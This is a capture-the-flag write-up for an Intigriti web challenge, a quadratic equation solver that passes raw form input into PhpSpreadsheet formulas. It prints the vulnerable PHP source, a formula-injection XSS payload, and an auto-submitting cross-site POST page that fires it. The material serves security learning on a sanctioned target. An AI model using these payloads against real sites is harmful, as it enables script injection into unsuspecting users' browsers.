Logo
Published on

Intigriti challenge 0524 writeup

Authors

Source: Intigriti

Solves: 39

Introduction

This time we have an interesting challenge that plays around with Excel formulas and parsing of user input.

Reconnaissance

Navigating to the challenge page we can see that we have some kind of Quadratic Equation Solver with 3 input fields for each of the values for A, B and C respectively.

Challenge page

When we enter some example values into the fields and click calculate we can see that the result (roots) gets displayed back to the user.

Challenge page

Source code analysis

This challenge included the source code so we are able to download and analyse it locally. There is one file that does not have a lot of logic, so this should be fun.

<?php

error_reporting(E_ALL);

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

require '../vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Calculation\Calculation;

?>
<html>
<head>
    <link href="resources/css/bootstrap.min.css" rel="stylesheet"
          integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN">
    <script src="resources/js/bootstrap.bundle.min.js"
            integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"></script>
    <style>
        body {
            background-color: #68adf1;
        }
    </style>
</head>
<body>
<div class="container">
    <div class="row justify-content-md-center">
        <div class="col-md-6">
            <div class="card bg-light mb-3 mt-3" style="border-radius: 15px;">
                <div class="card-body">
                    <h5 class="card-title">Quadratic Equation Solver</h5>
                    <p>Enter the coefficients for the Ax<sup>2</sup> + Bx + C = 0</p>

                    <?php if (isset($error)){
                       echo "<div class='alert alert-danger' role='alert'>$error</div>";
                    }?>

                    <form method="POST">

                        <div class="input-group mb-3">
                            <span class="input-group-text" id="labelA">A</span>
                            <input type="text" class="form-control" name="A" aria-describedby="labelA" aria-label="A"
                                   value="<?php echo (isset($_POST['A'])) ? htmlentities($_POST['A']) : ''; ?>">
                        </div>

                        <div class="input-group mb-3">
                            <span class="input-group-text" id="labelB">B</span>
                            <input type="text" class="form-control" name="B" aria-describedby="labelB" aria-label="B"
                                   value="<?php echo (isset($_POST['B'])) ? htmlentities($_POST['B']) : ''; ?>">
                        </div>

                        <div class="input-group mb-3">
                            <span class="input-group-text" id="labelC">C</span>
                            <input type="text" class="form-control" name="C" aria-describedby="labelC" aria-label="C"
                                   value="<?php echo (isset($_POST['C'])) ? htmlentities($_POST['C']) : ''; ?>">
                        </div>

                        <div class="d-flex justify-content-between">
                            <a class="btn btn-light" href="/challenge.php?source=challenge.php" role="button">View Source</a>
                            <button name="submit" type="submit" class="btn btn-primary">Calculate</button>
                        </div>

<?php
if (isset($_POST['submit'])) {
    if (empty($_POST['A']) || empty($_POST['B']) || empty($_POST['C'])) {
        echo "<div class='alert alert-danger mt-3' role='alert'>Error: Missing vars...</div>";
    }
    elseif ($_POST['A'] == 0) {
        echo "<div class='alert alert-danger mt-3' role='alert'>Error: The equation is not quadratic</div>";
    } else {
        // Calculate and Display the results
        echo "<div class='alert alert-info mt-3' role='alert'>";
        echo '<b>Roots:</b><br>';

        $discriminantFormula = '=POWER(' . $_POST['B'] . ',2) - (4 * ' . $_POST['A'] . ' * ' . $_POST['C'] . ')';

        $discriminant = Calculation::getInstance()->calculateFormula($discriminantFormula);

        $r1Formula = '=IMDIV(IMSUM(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . ')';
        $r2Formula = '=IF(' . $discriminant . '=0,"Only one root",IMDIV(IMSUB(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . '))';

        echo Calculation::getInstance()->calculateFormula($r1Formula);
        echo Calculation::getInstance()->calculateFormula($r2Formula);
        echo "</div>";
    }
}
?>

                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>
</div>
</body>
</html>

We can see that the fields are supplied as a POST request to the form and processed that way. This gives us some foresight that when we eventually get to the XSS we would need to find a way to leveage it without any user interaction considering we need to make a POST request.

Excel manipulations

We are mainly interested in the PHP logic in the bottom of the script where all of the calculations take place. The script uses the PhpSpreadsheet library to calculate the formulas.

<?php
if (isset($_POST['submit'])) {
    if (empty($_POST['A']) || empty($_POST['B']) || empty($_POST['C'])) {
        echo "<div class='alert alert-danger mt-3' role='alert'>Error: Missing vars...</div>";
    }
    elseif ($_POST['A'] == 0) {
        echo "<div class='alert alert-danger mt-3' role='alert'>Error: The equation is not quadratic</div>";
    } else {
        // Calculate and Display the results
        echo "<div class='alert alert-info mt-3' role='alert'>";
        echo '<b>Roots:</b><br>';

        $discriminantFormula = '=POWER(' . $_POST['B'] . ',2) - (4 * ' . $_POST['A'] . ' * ' . $_POST['C'] . ')';

        $discriminant = Calculation::getInstance()->calculateFormula($discriminantFormula);

        $r1Formula = '=IMDIV(IMSUM(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . ')';
        $r2Formula = '=IF(' . $discriminant . '=0,"Only one root",IMDIV(IMSUB(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . '))';

        echo Calculation::getInstance()->calculateFormula($r1Formula);
        echo Calculation::getInstance()->calculateFormula($r2Formula);
        echo "</div>";
    }
}
?>

We have the total of 3 calculations that are performed before displaying it to the user:

=POWER(' . $_POST['B'] . ',2) - (4 * ' . $_POST['A'] . ' * ' . $_POST['C'] . ')

=IMDIV(IMSUM(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . ')

=IF(' . $discriminant . '=0,"Only one root",IMDIV(IMSUB(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . '))

Exploitation

Based on our initial analysis we can see that there is no sanitization that is taking place for any of the user supplied input, this means that we need to find a way to inject malicious input while retaining the validity of the formula, otherwise a calculation exception is thrown from here.

XSS

Since we see that in the end the input is displayed back to the user we need to look for some kind of input that will be treated similarly as comments in code. After searching for a bit for such a case I stumbled upon this potential option. Indeed I was able to inject this as a value and still get everything to calculate, however #VALUE!#VALUE! was getting displayed due to supplying a non integer to the POWER() function.

Challenge page

After a while of trying out a lot of combinations and focusing on the second and third calculations I realized that it is possible to achieve XSS via the first calculation. Going back to the comments, it seems that anything that is supplied in quotes will be treated as comments. Additionally we can use the & operator to concatenate our value to the previous value. This gives us the tools to manipulate the first calculation and with some bracket-fu we are able to achieve XSS.

Payload

// Input for A
1)&"<script>alert(document.domain)</script>"))

With this payload we are closing the bracket for the part where A is being used, adding a comment afterwards with the malicious script and closing everything. This way we end the whole formula and everything after the trailing )) is ignored and when we have a trailing comment it is appended to the final value, so it does not interfere with the calculation itself, it will just get displayed after the value.

Challenge page

Nice! We got our XSS. Now we have one final step in order to solve the challenge.

POST exploitation

Going back to our initial analysis we can remember that the application uses a POST request to submit the inputs and get the values displayed. The challenge rules are that there should be no user interaction besides clicking on a link. This does not allow us to supply the values via query parameters as we usually do since browsers only handle GET requests.

After a little bit of thinking and trying to load in the application on my domain in an IFrame and running into CORS issues I realized that I can just host an html file that will perform a POST request to the form and submit the values. I started testing using requestrepo and trying to get the form to autosubmit.

During this testing I discovered an interesting finding about forms and submissions.

Basically if we try to invoke the submit() method of a form directly in JS it will fill out the values and redirect to the form but it will not get submitted when the redirect happens, this does not work since it still requires a click from the user.

Then an idea came to mind where we would emulate the click instead of using the submit() method and it ended up working. Combining all of that I came up with this script:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Auto-Submit Form</title>
    <style>
        body { display: none; }
    </style>
</head>
<body>
    <form id="autoSubmitForm" method="POST" action="https://challenge-0524.intigriti.io/challenge.php">
        <input type="hidden" name="A" value='1)&"<script>alert(document.domain)</script>"))'>
        <input type="hidden" name="B" value="-3">
        <input type="hidden" name="C" value="2">
        <input type="submit" id="submitButton" name="submit" value="Calculate">
    </form>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            var submitButton = document.getElementById('submitButton');
            submitButton.click();
        });
    </script>
</body>
</html>

Using this we can send the malicious link to a user with our HTML which redirects and submits the form where the XSS is triggered on the challenge domain.

Conclusion

Very interesting challenge that introduced some math alongside our favourite topic of XSS exploitation. Big shoutout to stealthcopter for coming up with this one.